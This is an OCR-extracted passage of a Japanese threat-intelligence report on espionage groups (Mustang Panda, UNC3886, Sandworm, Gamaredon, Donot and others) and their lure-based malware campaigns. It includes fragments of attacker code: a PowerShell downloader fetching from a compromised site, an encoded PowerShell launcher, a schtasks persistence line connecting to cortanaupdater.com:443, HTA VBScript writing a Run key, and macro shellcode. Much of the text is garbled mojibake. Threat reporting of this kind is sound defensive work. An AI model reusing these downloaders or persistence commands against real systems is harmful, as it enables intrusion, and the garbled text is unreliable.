HC K> TEITENF U, CNEFZOEANTI—Ow /) \DOHREZEZREN & UIz¥H TOIE
THD. REF T4 w2 OA—)LZB LT, 2025 FOHATF URCEETZTILDT
TEEOBRBDSH DM T 7L ZEMUE U, WEE(E Windows B> R/Rw O XR(C
HNRE I AsyncRAT ZE2 MY —ILF T —2ZIBEL. TF1 VT RN SEEZ
FEmRUE Uz, FCHERZ O ADIzed (VN \w I RI7TH D ANEL Z1EESE. R
DYEERDT=&H(C Visual Studio
Code DUE—~hRIVEFERALE UL REEHMENBROFRER NRY ND—077
IR EBEL. BENRT TV -2 3> Z2BAUTAETYARADVILI T 7ZESIEE K
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UFEITU. BS{EE RAA AR T7ILTU X L% CRCBIE(CHERALE L, NSDHER
SNEFER BFOREBSIUOTA L2y OZEE L DD, R/ EEE=5(3EbU
FU

4) €OH—B22ON—T

FEBFOXEEZZ T TND/\YF2TI)L—TD—DTHD SectorB22 (&, fdtzFa1 U1
E(CRK>TIYRZ>I)IN4 (Mustang

Panda) EUTHISNTED., FAOEBEBTHESD/\VF 2 ITEHNERENFE UL,
ZHII—Td. EBEEDOSDEHRE TH S FBI DT OO0 S ABFIRICHEELE T v >
IA=)LZFIRALT. 91 EERZ(FUHET DY BUTFHEZWRICKEEB ZITLE LT,
ZETIN—TE. A=IUCRILI T THEENTZRAREM I 7L ERTLTHED., CDI7AI)L
DHCIE Windows =3 —bAw b~ (LNK) T7 1)L, BESNZPDFXE. ZUTRUEESN
f=$Recycle.bin TA LIRS ENTWLE U,

vunnaanldl
#5195 un.on.ue.n. ™ms. o
beore Yor'e
ﬁ ocolf.eedcd/ ‘Yuﬂ
fuNA mdom
#as wadaansuTasvnnsarusauiadnousumdngas

nansavAunanlsulsmanaannssutuend uinagiouaulng

Sau wunal.
sav wun.al.
wnn. ludeAn unal.
wiaTdsansau
savunn. §v 529 2. TudvAa unal.

aolui lda
Jeywrangteynssuamendlunadanlsngeadiasuazdiuanszn
usnaauiuaslureni
vlavarnnisvianannsitadgnsnavaau lauuarnnsingsnssuniusty
vdumasulaiudu donalianainssunanalsaamusnuda
Lavm:auwﬁx\a"\‘dqnn1'xuﬁl'iau'[u\\ﬁunf]uwumw-mﬁ'lu\fluﬁ-'mﬂuﬂ A
wlsuwmesauuiuing . a2 NSy
nsaaTnvwiulasveisdumasuin  aswdauazdaniandrsilaan
Wuau

RN un.an.ue.n
Aruaarenudaaun.on Taaunnl sl s
ndninviudaudiunavansgawdni (FBI)
sauifladanisidnausuvangns .
nsdasAunanlsnnlsuangainssuauand vdnagiouaung
i 39l unal. WarsandaviansiagansdnsiiAauas
wsmlassnisarusuilaidnausumangns
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[ 23: FBI JIMRT O S ARBFHRICIRE U Tz PDF XEDEATIEIH ]

WEXWHRMN Windows >3 —hhHy I 7ML Z20UvITDE. ftp.exe ANV RAEITEN. PD
FICHBESNIEFTP ROUT MU ENE T, COBIET. AT AL MOADARER) (VIR
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7T32 [PrnlnstallerNew.exe] B' 1> X h—J)LeNZFzT, COXIILDT7E. EXRVI NI T
)7 T3 PDF-XChange

Printer 1 > X h—S—%2BAUTEMEL. Windows O > RZEET PowerShell XU MBI
(CHFUH U TRtz [0k 3 D185 7R > TLE T,

00 2E m32\ftp exe... ..
77 n. d o.W
0 6D .s.\ 5

33
2E
73
33
78 (
1A
2E (

[K 24: <L TJTI7D Windows =3 — hHw 1\774»( ihé FTP OV > R]

BRASHY(CA >R h—=ILENERILD T 7 E. BRUIES AT ATHEN (CHaDEREL. HET—5
ZNEBICRR T DHEEZ A CLET . ZD/\w I RP[F. OX¥>R&3O> ~O—JL (C2) H—/)X
—CBEL. Ft TEEMENEE ZARE(CLE T,

ZET I —T ODREEE (. BUAKNEZ IR BENOHEIREZE U THIEENFIRZERULS
ETBDEDEDHEINTED. REURNDERT CHIRZTERT L. BRAHPERZERIEH
B (CBI 9 D IBEIROGBEN DR BN TH D AIEEMEN H D F T

Related Events
® SectorB22 used LNK Malware disguised as FBI course document

https.//cti.nshc.net/events/view/12990
HRSNEIVI T 7Fv 2R3, SRRz <EEEDS S FBI 27>V ZEEDX
EZFEALT, A EIERZENCLTVWET. [FFREICERTI. FBIO-RHEDE
HDOBRHTOAZT I MMIEMUTLIZEW, | EWDSRARV—HATZBEL T ILEZRT
BIDNEF. TS IA—)ZBL THREE(CELIREENENTT, D7 —HA
TCE ROUT hELUTHEES BBESNTZ PDF J7 (J)LOIN > RZEEITI D ftp.ex
e>3—bhy hIJ7AIILREFNTED., INZBLTINA/I\NWIRTIHAAZ A =)L
SN, FHEULET. COVILDT7E. GENRYI NI T 7ZESHRZ D bOADAKRESE
TI7AIVEFHELTED, REZER T S2H(CENRY APLHER AN ZER L. et
DEDICLZANIF—CEFZENML. (> RY D AEHDHICZ 21— v I XZ{EH
LEYT., ZDBRIE. TCP/R— b 443 2B U TH (CHMEHIRNMSRESNIZIN R
> hO—ILY—N—-EBELET, COFvR-2F FAOLBEZRNE I DLER
SEEID—IRTH D . OIS ZFERLTOWEIN LD T VMG ENERDIHTEDE
BATREDBEDY A )\ —RIREMEEEL TVET, CNIE REZZT7OY A/ —BR
DM S EBFH B Z BT TLE T,

® SectorB22 used Malware variants

NSHC©2025 All rights reserved.
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https://cti.nshc.net/events/view/12972

® SectorB22 used PlugX malware variants
https://cti.nshc.net/events/view/13570

5) €945 —B749NWV—7

FEBFOZEEZITTWD/\YF>2I0)L—TD—DTHD SectorB74 (F. flotzF1UFr 1
FE(CKDTUNC3886 ELTHISNTH D, FPAUNTHESD)\vFIEEHNFER NI,
ZEII—TF. PAIBDETZT7HIHOEE. BE. Fiiiiie W5Rk(CEEEZITL\E U,
ZHEIIN—T (& 1)\ =Ry rT—2X (Juniper

Networks) dD=w bDJ—2T8gs. 4F(C Junos

OS R—XDIL—F —ZIZARA > bELUT, BREZEE T DIHAT LI\ T RPZZEADTETIE
HaREULE LU,

[SectorB74 I —THhEBAULZS 1 Z/)\—3RY NDJ—2I XD Junos 0S A—ADJL—4 —Hfz551%]
® (CVE-2025-21590 - Juniper Junos OS Improper Isolation or Compartmentalization

Vulnerability

ZEITIN—TF F9A4=—> 1)L (TINYSHELL) R—XXD/\w I R7ZERALUTRRELIZT/I\AX
DOTHReZEME L. #EERNR TS RRME SIBRINEN IR L/ KD (CRIANR 7 O X g%
BRUFEU,

DI\ O RFETO7 4TINS TOmADIN > REZEARZEZDR—NUTHD. —HH
REFIVUT A HBRICRDIBEZLOB TEDILDIKETESNTVET ., CNICEKD, ZBIIL-T (&
WEMRORY NDO—TIRNEFCREAB (CHTZDENTEBI L. HEBERZGRI DI ENTETELUEL

o
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42 do {

43 local 14 = FUN_0804%a580(local lc,eDAT 02lasb00,&local 18)r
44 if (((local_l4 != 1) && (local 1% != 1)) ||

45 {iVarZ = strcmp (£DAT_0851laeb00, "eké3a2lkmTWiWkik"), iVarZ == 0)) break;
45 switch (DAT_021lash00) {

47 default:

43 goto switchD 0304£784 caseD Or

44 clase "Wx0l':

50 local 14 = FUN_0804£3a0(local_lc);

51 if {local_l4 '= 0) gotc LAB 0304£71d:

52 iVar2 = FUN_080497ec{local lc,"eké3a2llmTWSWkLk", 0x10);
53 break:

54 cage "\x02":

55 FUN_0804£87c(local_lc);

56 goto LRB_0304£71d;

57 case "\x03":

58 FUN_0804faTc(local_lc);

59 iVar2 = FUN_0804%7ec(local_lc, "ek63a2lkmTWIWkLk", 0x10);
&0 breaks

6l cage "\x04':

62 iVarz = FUN_03804%a90(local_ lc,&DRT_03laeh00,&local 13);
63 if (iVar2 != 1} goto switchD 0804£724 caseD 0;

64 if | 8lash00 != "\x05') {

€5 ) 0) [local_18] = 0Of

66 atol (eDAT_08laeb00);

67 }

&8 goto LRB_0804£71d:

L) case "u05':

70 FUN_0804£flcd(local_lc,param 1):

71 iVar2 = FUN_080497ec{local_lc, "eké3a2lkmTWSWkLk", 0x10) 7
72 1

73 } while (iVar2 == 1};

[B] 25: 54 Z—= T )L(TINYSHELL) R—XD/\w I RF7ZDIAY > RZET— K]

Related Events

SectorB74 used TINYSHELL Backdoors on Juniper Junos OS Routers
https.//cti.nshc.net/events/view/13344
2024 FHhtE, 21 Z)\—3Rwv FD—2TXD Junos

OSIIL—F—THRI LI\ I RIHIER=NFE L. BERY ) -/ ER-(TBHfE
NIzco)I\w I R77 (& Z)AEEIERNRY MO —ONDORIERACERZEL VZITHERN
IREf R UK Uz, IEEIE. Junos
0S JL—4 — (CHHE LTI E DHREZ 35D TINYSHELL R— XD/ Vw2 R7EIEELE U
o CNBSDOFECIE. T7AIILDOEEETF T vV OZER T D TOCEAN, Rz TS
fedOOTEMENSENTVE Uz, D\ O RTHARREEIN., TNETNAESELIN
AFVZEML. VE— R IT7UMUES XUV RETMAIEETCLIZ. HEEFIL—b
FOrRREFALT, IILIDTT7RAO— RZEERTOCRISEAL. Ry hD—T8@(E
[CHRY LES{EZER L. FREERBEEDSHICRERS AT LAM#EERALE L.
BREATAREX. 7AUAETZTHISORNIGRY ND—ORAZBEEC. BhE. Bl
BEDHCEFRL. FMREFLYI NI V7ZA A N-ILURIL—F—ZENCLEL
o SEIDEHE. BHRtEF1 VT4 ETEZAU IV I3 R RREBLTVWST /A
AZ ARG (TR (C T D)\ F— 2" RUTUVET,
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6) U459 —B1109)I—7

PEBFOZEZEZITTWND/\YF2II)IL—TD—DTHD SectorB110 (&, fdtzF1UF+

PECKDTREF7707 ELTHISNTHD., ZAUB, 4R, S2HR=IL. A4 REFA.

B, hE. FECTHESD/\VvFIEBNIREEINE U,

ZHDIL—T(d, REF7ZZTEEKOBM. BE BE. 85, MZEEEOHRBEEEMENE L.,

HEF AR OHERS KOHERIBEROGERZEN & U CEBI L TULE LT,

ZEI)I—T & 1> —xv MERY—EX (1IS) B—/\—De5s4=EBRA L THI7 O %
WRUE. Dx7>1T)IZ2A > A —=)LUTHRY MD—JNEBT ORI RINRFEREMIFLE L

m.Reflection” %>

g.UTF8.GetString(data));
new System.Security.Cryptography.RijndaelManaged();
.ECB;

.Padding = S
return aes.C

}
private byte[] Enc
0

em.Security.Cryptography.RijndaelManaged() ;

ddingMode . PKCS7;
vert.ToBase64String(aes.CreateEncryptor() . TransformFinalBlock(dat

[ 26: 'jIj:/I)lxj— ]

T (CRMmEINZEEtENZ/\w o R77(E. Windows & Linux ODlA DTSy RIJ A — L&Y
IR—BUTHD, BREZEREET Dz (C 10 BEU DI RIS hO—IL (C2) BIEAEZA
BLTWLWET, ZH(E Outlook

API, DNS h>RU>ZJ| ICMP b2 RUZITRENEFNTHED, SFKSFREFIVUSTARIZET
EENEIEET I,

Flo. FHEON\Y O R7(FEMQROV> RZEMREZBR T, J7LO7yI0O—- RELVTT>
O— R, SXAFABHRDINE. BIMDTILD T TFRAO— ROBMERE, SHEEERITTCEBILDIC
MEtENnTLET,
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wold processEntry entry({undefined® param 1,undefinedf param 2)

2
3
4
5| undefined auStack_8 [8]r

&

7| FUN_00715390 (FUN_00401%=£,param_2, estackixl
8| do |
9 /% WARNING: Do nothing bleck with infinite loop %/
Lo| |} while{ trus };

1

1008, FUN_00715d60, FUN_00715d£0,paramn_1,auStack_Z);

[E] 27: Linux X3t/ \w 2 R77]

Fle. INEERUEREIIL—TFURIICERU LSRR ZER L TR AT ISICRALE
ZENBD. SOOI T HIRIEIES LR (CERZ I TIEREBERZH LI L.

Related Events
® SectorB110 used Squidoor Backdoor disguised for Outlook APl Tunneling

https://cti.nshc.net/events/view/13006
2023 4 3 AU, 77 EERHISOKATEREYER. BE. 85, MELEDEE
PEHZENEFTDIWIRD A/ —BEARELUTVWET, FENSIEFOLLHEFINDS
DIE(F, BPEUHEBEN SHET —FZINET D CEICERZENTVET ., COWRERF
. Windows & Linux 2 X-A0MA (CEEES5 XD [Squidoor] EWDHEHTLL WO R)7
ZFERUEYI, Squidoor (FEZ 15 —5%5tT. HTTP. Outlook
API. DNS h>RU>Z, ICMP h>RUZTRRE, OX> R&IO> bO-)L (C2) =
— EDETHEIFREEBEANZYR— MU, WEENRZERRBISEIGTEDXRDCLE
To WHIRENRT I —(F, A=Y MM IAA—23 2P —EX (1IS) B5—/){—D
fessi=BA LR, D12 DIV ZRBRAUL T IR EZHEFIIARTYT . BESNS
ECH#FtenzcnsnDz I o)UE OV REERITID/I\WIRFZEUTHEELE
9, Squidoor (&, RAMBR., EFEIOINY> REIT. J7 1)U, mspaint.exe DK S7&
TOCRADRA O— RFEAREDSE LR ZRML. RS SR BIBEEH 758 UE
ER

3. SectorCOZIBERITDI\YF>I DI —T DiEED

1) €945—Co59)IW—7

O 7BBOXEZZITTVND/\WF>2TT)L—T DT, SectorCOS5 (Fthdtz+1 VT« BET
FB> RD—LA (Sandworm) EUTEIMSNTHE D, DTS5 F. ZAUH, wLEFP, Fx3
TRSDESBHER=NE L.
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ZETIN—T@EIISAFDIRILF— KB, BUHEA > T SEMRICARIEMRIEN Y 1) (—IK
BeERULE U, HICHERBES AT A (IKC) ZHOZCOKEF, BEHNEEEDBRINITR
M ERMEFEIT D ENSIED ., BEDHD PDF J>U7%ZEL T Windows >3 — A b
(LNK) FERDVILD T 725 D> 00— REKXUEITL. TNZIEBL T PowerShell R—XDEED
HDAOVT MIEITENDHATEITLE U, ZHIOX> RETII—REFIC, Run L2 KY
F—ZB U THRMEER L. BMONILD T 7E2F D2 0—- REKXUERTI Ded(CERENET

o WESEIATEINR-RDERITZHERAL THREZREH(CL. DRI R5T LBIRERCEHRMEE (CET
SINBLIICEETLE UL,

$url = "https://femundengerdal .no/wp-content/content/December/Original/"
$downloadsFolder = [System.IO.Path]::Combine ($env:USERPROFILE, "Downloads");
$Soutput = [System.IO.Path]::Combine ($downloadsFolder,

"Sample Mugnaioni Mil Audit.pdf");

Ctry |

Invoke-WebRequest -Uri $url -OutFile $output -ErrorAction Stop
} catch {

exit
-}
§fileInfo = New-Object System.IO.FileInfo($output) ;
Eif ($fileInfo.Exists) {
$fileStream = [System.IO.File]::OpenRead ($Soutput) ;
$reader = New-Object System.IO.BinaryReader ($fileStream) ;
$header = $reader.ReadBytes (4);
$reader.Close () ;
$fileStream.Close () ;
=] if ([System.Text.Encodingl::ASCII.GetString($header) -eq "%PDF") {
Start—-Process —-FilePath $output;

$vbsCode = @"
oShell = WScript.Creat

eCbject ("WScript.Shell™)

h -noP -nonI -enc

LNBmZ—\( U?—‘;bQBLA( 54AZABl1AG4AZWBlAHIAZABh
OAZQBIAGUA

9ACAAWWBT
AMKACWROAGUABOAIAR KATWATAFAAY OROAGAAXOR 6ANOAOWRTAGOAYARHAGAAZOAGA F S ARORIAHY A

[ 28: PowerShell XR—ZDTILI T PRIV T K]

WSMEARLIEYILD T )7(C(E. SECONDBEST. EMPIREPAST. SPARK. CROOKBAG I2EN'E

FNFEI. CROOKBAG DiHBE. Go E:& (Golang) RXR—XXpO—4—7T. O¥>R&aI> ~O—JL

(C2) H—)\—LDBEXEL TEREDRAO— REO— RIDEEEIFTOTLET, Fie, — 8B
DOWETIE, T—HEEBATOTSATHD RSYNCEEFRHLU T, XEDHEY I 71 )LOBEEEER
HEEERITUE L,

B
trpge: o
anciuna 51, 2384PHE
attrbute: SUSERPROFILEN) doc
it oo Do oud e ok

"
51810per Al Reie s aetiopas” fkbdbag.us
e purt. g TSuitikgasuStages

o ttribute’ 7420821654
i camsallienn attribute: FS4630307 4d0xceTeT35081 11%< 1023795865
attsibute: gt duna walprogram

bute: 104 2336224 strbute:
e Sitribute: 10421.27,107 20Ut

)vumumhaﬂ\"m—v ne_toi_InkiRelease|droper_exe_for_lak.pdb

B ottribute’ £3.144.74. 188 .
N e

attribute: furgaanenergy com/wp-includes}
sowolace.di

2200108240~ HBREITISII006

B st ot-sad oo iochadewGiE Al Confersace, 2524 Paticpon
“‘d“‘wk(w% DDA 165.08.16,199
L)

attribute: geanaualcontersacsimaunich com

ottriute: adobeprfjtcheck com
4160381 TS184c Th3b6ASS40 08996 T19b2d

attribute: helpdesk katolk bydgo

el audit comn/wo includescasamel oo

[ 29: BEDEE) EABEBRRZ 7D SectorC05 J)L— T DiEEH]
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Related Events

® SectorCO05 used LNK Malware exploiting CVE-2024-38213 vulnerability
https://cti.nshc.net/events/view/12913
2024 FFH)ER. DU SAF D 10 #HK(CH D) 20 DIRILF—, KB, EEMHIEEEDFR
WBES AT LB EINRIEDA/I\—ENFEELF LTz, BB EFTULV M, 5. F
lE (TTPs) Z/ERA L. PDF XEI(CEFNDYU>U%ZEL T CVE-2024-
38213 DS EBRALE L, SNICELD, HEEDIE1—F(CLNK T 7 (IL&S
D>0O—REtE, 20T 7 AILABNND & PowerShell I > RAVEITEND KD ICHERK
SNTUVE ULz, WEDBMI(E. EXE/DLL J 71 )L& RSYNC ZFHIA U IEXEDHEVREZ
BUOT, BB A (persistence) &5 —4~%3HL (data
theft) ZERTDCEICHDFLURL. TDE, 2024 F 7 A5 2025F 2 AICHMIFT. I
B3wLer. Fxd. D0SAFTOUTSAFT—hRECHAL, YIREEDIZIE - @
X - RERMORISEEEF CEFNF UL, WEOVIHAERET(E, HEBCHABDA—)LEE

(fake correspondence) Z@U THEfALL. [#:4i73X&F (technical

documentation) | (CREUIZEBEDH D PDF TJ7 A ILZENEDHETLUIZ, ESEY
—EXTO/INAF—Dxy FNDO—ORAZBU T, EESIUEmHTEEmRZSS(CE
RAUXS LT aRERERZRUE L.

2) U5 —C08IUIN—T

O VB OXEZZITTVND/\YF>T0)L—T DT, SectorC08 JIL—T (IMBdtz+1UF
1 BRETEAYL R (Gamaredon) EULTEHSNTE D, O>7 ETITSAFTHRESDEEHN
FERENFL,

ZEII—T(F. BIREF1 VT« BEEOATDONE (CIRE UTZPE (Portable Executable) iz
NIV T 7= ERL. RAEN(CUE— MMl —)L Th D UItraVNCZEER U TIBERZHRL LD &
LEU.

SFX BAT T PDF

EXE Connect

[E] 30: SectorC08 J)L—T D)0 1 PEBIE]
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ZEII—T (&

BRSRITOIREINEME D 7 ()L THDSFX (BCfRR—H+T) T7 1)Lz fE

RALTED, TNEFRITIDEAERCHEFTID/\wF (Batch) T7AIERDR O UT hHIEITS

nx9,

set

set
set
set
set
set
set
set

lecho off
setlocal enabledelayedexpansion

lcopy /vy "ECDE\treb2022.pdf" "ICDI\..\treb2022.pdf"
start "" "ZCD3\..\treb2022.pdf"

schtasks /create /tn %M34cCH 4n424F484k4r4]l. s484w41 4m!
timeout /t 3
lcopy /v "GO3R3d3M3u303X313L30343C3Z3c3H3C34303g3F3W3H. £C8G8QB=z898vaEPE

zmSESB5X5i5L51565M5W5k5VSZ5c5p5hbboubgbUShSV=RANDOM

M34C414v4n424F484k4r414W4s484wdl4m4l14f404F4v=0ptimization
dJédeveQeueiodé3eaébbceToFekeyeKeUEj6LéweS6a=autore
YUbY6f636F6a6Teveye06s6WeLEQE0E6h6561i6u6be]b6g=connect
1D4h4h4R4X4g414k4q4D4i4345474448464u4M4x4D4=z=443
ecY9B979R9DGEITEkITINIAGhIuGWICIKIz9I9b9g9i 9A=cortanaupdater.com
1R0cOEOQOiOAOHOAOQODOAOVOIOMOJOtOMObOr0z0A0v=exe
x2SJS8SGSlSwS5858q8h8h8Z8w8t8t808r8A8Y8Q8y8V—- MPUTERNAM

[&] 31: SectorC08 J)L—TIMMERA LIZ/\wF I 71 ILIERDRAOUT K]

N FI7AIIVERDAOVUT ~ME BRI YILD TV DERITICTUTHVENK S (C. BIRTzF2
VS« [CEAETDIRNEDPDFH EDXEZERITLERT.

YTBEPXK/EHEI
npukazom OCTIK Poccun
ot 2 vrons 2020 r. Ne 76

Tpeboeanua no GezonacHocTH HHGOPMALHH, YCTAHAB/IMBAKIIHE YDOBHH JOBEPHA K
CpeACTBaM TeXHHYECKOH 3amuTe! HHQOPMALHH H cCpeAcTBaM obecrieyeHHs
bezonacHoCcTH HHOPMAIIMOHHBIX TEXHOIOTHH
(BBINKCKA)

1. O0uHe mon0KeHHs

1. Hacrosipwe Tpeboeanusi SBNsIOTCS 00sA3aTenbHBIMM TpeOoBaHMsMH B obnacTi
TeXHHYECKOro PeryIMpoBaHus K NpofyKiuu (pabotam, yoiyram), HCnonb3yeMoi B Lje/isx
JALMTEL CBEJEHWH, COCTARMANOUIMX TOCYJAPCTBEHHYID TaMHY WIH OTHOCHMBIX K
OXpaHsieMOll B COOTBETCTBHHM C 3aKOHojaTelbcTBoM Poccuiickoit ®enepanmu uHo#
MHOOPMALIHK  OrpaHMYEHHOro JocTyna (Janee — TpeOoBaHuMa 1o De3o0macHOCTH
UH(OPMALHK), TIPUMEHSIOTCS K [POrPAMMHBIM H [IPOrPaMMHO-TEXHHYECKHM CPeJCTBaM
TeXHUYeCKO  3ammThl  MHQOpMalMM, cpeficTBam  ofecreveHuss  Ge3onacHoCTH
MHQOPMALIHOHHBIX ~ TeXHONOTHH, BK/IKYAd 3aUMINeHHBle CpeAcTBa  00paboTku
vHGOpMaLMK (Janee — cCpeAcTBa), M YCTAHABIMBAKOT YPOBHH, XapaKTepH3yHLIHe
De30MacHOCTL  NpPUMEHeHMst CpeAcTB  juis  00paboTKM M 3aujUTel  MHpOPMALIHH,
cofiepiKallieil CBefleHHs, COCTAaB/AIOIME FOCYJAPCTEEHHYH TaHHY, WHOH HMHQOpMalu

ArNAUUNIOUUNrA TACTUTID D nna nfarnovouug RosnnacuncTs ougnannry ARt owTap

[ 32: 1Btz BEXE(CRE LT PDF DBEXE]

PDFDEEXERFR LRI DERBEFC, /\wF (Batch) T 7 AILERXDRAO VT MIBEMMDTIL DT T
TAEDEHICUE— NI —)LTHDUItraVNCEEITU. 565014 (Persistence) =9 37z8
([C—EBM(CUItraVNCEERITI D AT 21— )L &aEFRUE T,

[ROS1—-INENTEHIRD]
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® schtasks /create /tn Optimization.exe_main /tr "%TEMP%W7ZipSfx.000WOptimization.exe -
autoreconnect -id:%COMPUTERNAME%_11102 -connect cortanaupdater.com:443" /sc
daily /st 09:07

[ 33: BED;EE) & 1EEREERE T D SectorC08 )L — T DiEE

Related Events

® SectorC08 used Malware disguised as information security guidelines
https://cti.nshc.net/events/view/13434

4. SectorDICEZIBENTWBAIN\YF DI I—TDiEE

1) £U45—-D40O V-

1S BEORIEEZITTVND/I\YF>TJ)IL—TDH T, SectorD40 J)L—TF(FfdtzF1 U7
1 {PE(CK D TUNK_CraftyCamel ELTERSNTHD. 1AL, /1FUR. PSTEHRE
EITHESOFENFERENE L,

ZHTII—TF FEEFECHEELZ Windows =3 — by b (LNK) FERONILDO T 7 I 7 1)L %
FIAL. MEMRABEN(CIILD T V7 ZERITIDRDCHEELF LUz, I—TF-—-H2DT71)L%Z
Ei792&. Ny oJd5O> RO RTO>T K~ (CMD) AU EN. ZD#. HTML 7
U —23>FTVY—)L (mshta.exe) Zi&U T PDF (CBEE=n/z/RU2Ow ~ (polyglot) 77
CILACEENZ HTA (HTML D7V —23>) ROUT MEITENEY . OT7-1)LIFFH
REPDFERZE> TOEIN, WHBICIE HTMLAR—=XDATUT MMBAETNTH D, INlck
D& ZLE U D DEARIHRETHIEN ol Re I8k 72> TULE T,
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We are participating at Electronical

INDIC is coming to the world's biggest trade fair!
o delivery ™

HALL A1, STAND €40, Me:

Sedect a Date & Time

INDIC

S ELECTRONICS FUT. LTD.

INDIC ENES Elactranics
30 Minute Meeting

[K 34: NEBICEMST —INEFNZ PDF RILITT]

HTA RO UZT MMIRBETIO—%Z g2 A - A L —5F—TH D, EZaT7IAR—2 VORI
7~ (VBS) Z{#ERL T XOR F+—T Malware

DLL Z8H{tLFE T, D DLLIEGo 55 (Golang) X—XXD/\w T RI7THO. DFEIEDIZD
(CARERIO—-RESATSUZZHEATVET, ETE. S LARFERMZR T R&O
>hO—-)L (C2) H—/\—&BELET. ERMEIISNDE, OINXRZEZBLTT LI
DRZ. J7ILF7>0— R, 2T)LOV RETIREDHREERITL. BIDRMO— REEIT
FRENTEFT,

<HTA:APPLICATION

APPLICATIONNAME=CreateObject (today ("Mniijs MYF", 21))
BORDER="none"
CAPTION="
CONTEXTMENU!
SHOWINTASKBAR="no"
SINGLEINSTANCE
SYSMENU="
WINDOWSTA' inimize">

<script language="VBScript">

Function nexttoday (uFP
Dim WshShell
dim oo2

Xhwnuy . Xm3qq”
Shell = CreateObject (today(o02, 21))
esume Next

fsol = "MPJD_HZWWJISY ZXJW\XTKYBFWJ\Rnhwtxtky\Bnsitbx\HzwwjsyAjwxnts\Wzs\RdZwgKnqj"
WshShell.RegWrite today(fsol, 21), uFP, "REG_Sz"
On Error GoTo 0

End Function

Function FileExists(filePath)
Dim fso

[E 35: PDF WL T 7 (CEFENDEM HTA RO UT K]

Related Events

® SectorD40 used Polyglot Malware Disguised in Compromised Emails
https://cti.nshc.net/events/view/13131
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2024 FDO, FSITEREEAD 5 DRMEOMEMZRN & UITERaY 1 )\ —IENFE
A UFUZ, BBEUREMZE, FEBEE. EELREBA>ISHHETHD. 1> R(IHlsZz
B EBFHREBSADOA—ILITHT > MRERSIESN. XILDTT7HEFENIZZIP D7 1)L
ZRfm I DIzHICERENELZ. D ZIP J7A)LICE. —R@E®D PDF F£/z(E XLS T
7AIVCRZ 2600, AEICERILI T 7ARESNZARUIOY KNI 7AILAVEFENTL
FUJz, /RUTOY b I7AIUIEBD T 7 A IIVERZRRICARTETDHWET, JILDT
TDRAO— RZBRUTEAE T DEHIFERASNTE D, CNIFFFR(ICEBERKREEDR
MiNZERELTNWET, COWREZEU Chcficniz/\w I RI7XILT 177 TS Sosano
(&. Go 558 (Golang) THFEINTEHD. HEZIRIZHICAERT— RAZEIEA =N
TWEUJE. Sosano (FOXY> R&I> ~O—JL (C2) B—/\—&BEL. T LI KUY
X OB, BINRAO— ROAFI>O— R, OV ROETREDIERERZITDIZENT
TFEJ, BEFIT—>(F Windows >3 —bHwy bIT7A)L (LNK) ZEIT9D & Thita
=N, DT 7 A )L PowerShell X277 hEIFUM LT Sosano /\w O R7ZA > X b
— LB KU 2B ERIZLUFE Uz, SEIDF v R—2(F. BEROT7AILIATD
AW —ZREL TR Z B I 2R ERRZE U T/ —RiREEZITL\. 1EROT
F1UFVYU1—2 3> TIHMRENREIABIHRNE/) Y —> & RUE U,

5. SectorEDZIBEZITDI\YVF I DI —T DiEE

1) EU95—E02O)V—T

4> RBRDARZZITTWD/I\YF 2T T)L—TD—DTHD SectorE02 (&, fdtzF+1UF~+
PECIOD>TRY /v (Donot) ELTHRISNTHD., I\ FRH>, INTS5F2a1. RAY, o
>R EOYVIOTESD/ \vF 2 IESHFERESNE L.

ZEJ)—T(F POF XEZBEE U THAL, XEBWRICOVYOZFBEL, JILVITTEZEET
BT EIREEHZITVEL,

ZEIIN—T(FT 1 v I A—)VE(IH RIS ZIEB U CTRIAIRMNED PDF XEZXEL. [
DXEZRDCIFOVUYOLTHI>O-RUTLKEZVN] WS AvE—2%EhFEURL.

NSHC©2025 All rights reserved.



Cyber Threat Intelligence Report

Couldn't preview file
You may be offline or with limited connectivi ry downloading instead

[ 36: ¥D>0O— RUZONEHENTZ PDF H & DXEDEITHEE]

KEBH/NENIUYDIITDE. PPTERORILI T ZXENMD>O—-Ren, 2ORICEFYoO00—
RIMEASNTH D, RITSNDETS(CRBEDH D BN AT LATIMEIT DLIICRADFET.

Attribute VB_Name = "Modulel™
#If VBA7 Then
Private

Variant, lhbnjpwcpvb As Variant, siqavge
LongPtr, xtdhhoa As LongPtr, trgxri A LongPtr

, trgxri , jzcdur

ppdxuuycaeict = (&HBS, &HFF, &He@, &HSS, BHB9, BHES, &HS5, &HB3, &HEC, &H4@, &HD9, BHEB, &H9B, &HDI, BH74,
HE9, &HDC, &HS6, SHAB, &HD1, &HS6, 8HAB, &HC1, RHS6, &HS3, &HDS, &HS6, &HA3, &HFD, &HS6, SHEB, &HSD, &HA2, RHD3, &H

[B 37: YLD PPT J7AILICEFNDYIO0— RDO—E]

RIDRGAREE (L. PDF 7 O (TRRUIZEIT I 71)L (EXE) ZFIAITDHECTT. CDEXEZ®
EIT9DE. NEPT BAT ROUT hZIFRH U TS RTABHREINEL. Nz AES BIES{EH L
U Base64 T>1—RUE. H8BD C2 B —/\—(TXELZFET ., €D, socker.dll EL\DEHED
BHEDLLAYD>O— Ren, IRORTT1—SAOEFRZEL TS AT LN\DFHGEIR T It
AgzEERUFE LI,

Related Events
® SectorE02 used PDF malware disguised as NDC Course filename
https://cti.nshc.net/events/view/13104
HAN-BEBMHCE I\FRE> IN2DSF72 a0, AUSSHREMT7 T EEZZEN
EURRINAENEENTULE UZ. Windows & Android 75 wY b A —LAZERTD
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WEBEE REFPIAvS2IOAX=)LERIVIT T APK TJ7 (V2 ERLUE U, &b,
WEEH(EPDF RF1 A MZEBEUTERL. Fr>R—2ZERULTCEF U, RE
EICIE RIVIIT T EXE J7 )% PDF 7+ (T U THEBRR LU CETIEDT
EXO. PDF RFAAD MRICT v 2P0V OZBAL. YOOI — RAEENLETIL
DIV PPT J7AII&2FD>0O—-REEDIEMNEENTVELZ, INSDT 7L
AhNDE. JILITIT T PPT J7 (I EF 0> 0—REBIAIUT MAEITESN. 8l
BRZES|IERIUFUZ, PDF J7A)UE. I—H— (RN XAV E—>7BCTI>
FoVERSADO—-REE, A12F—RY "SI 7 I7AI)&ESFD>O0—-REED
KOCHFELFEUZ. EXE T7AILETZHILEBENEENTT —LY I NIT DR
F—AZERLUTRREN. BEFESNDESRTABHRZIEL. OY> RO MO-)L
(C2) H—/\—&BIELT AES lBS{bZER L CIESNET —FZXELFE L. =R
H/REN(XIERINETH D, DT A )= ) A8/ 5 —>Z TDFERFRBELTLEL
1z

2) U9 —E03VIIN—T

4> RBUSDOABZZ T TWD/I\WF 2T T )L —TD—DTdhD SectorE03 (F. fidtz+a1 U7~
